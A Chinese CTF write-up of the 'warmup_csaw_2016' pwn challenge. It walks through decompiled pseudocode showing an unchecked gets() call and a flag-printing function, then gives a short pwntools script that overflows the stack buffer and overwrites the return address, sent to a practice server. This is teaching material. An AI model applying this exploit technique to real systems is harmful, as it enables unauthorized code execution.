warmup_csaw_2016

admin 2022年7月13日21:42:47评论145 views字数 773阅读2分34秒阅读模式

更多全球网络安全资讯尽在邑安全

首先打开ida64,查看核心伪代码


__int64 __fastcall main(int a1, char **a2, char **a3){  char s[64]; // [rsp+0h] [rbp-80h] BYREF  char v5[64]; // [rsp+40h] [rbp-40h] BYREF   //这里知道v5的变量是rbp-40h

write(1, "-Warm Up-n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(s, "%pn", sub_40060D); write(1, s, 9uLL); write(1, ">", 1uLL); return gets(v5);}

进这个函数看看,眼前一亮,就是我们想要的 system(“cat flag.txt”)
点击查看函数所在位置,发现0x400611是压参数的地方。

我们可以将其作为返回地址。



warmup_csaw_2016


也是看到了get函数,一般就是栈溢出了,v5的大小位0x40,再加上是64位,所以要输入0x40+8,来造成栈溢出,以这道题的exploit为


from pwn import*sh=remote('node4.buuoj.cn',26982)flag_addr=0x40060Dpayload=b'a'*(0x40+8)+p64(flag_addr)sh.sendline(payload)sh.interactive()


+8是加上rbp覆盖的地址,rbp覆盖后可以后面的程序流


欢迎收藏并分享朋友圈,让五邑人网络更安全

warmup_csaw_2016

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):warmup_csaw_2016

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日21:42:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   warmup_csaw_2016http://cn-sec.com/archives/1174563.html

发表评论

匿名网友 填写信息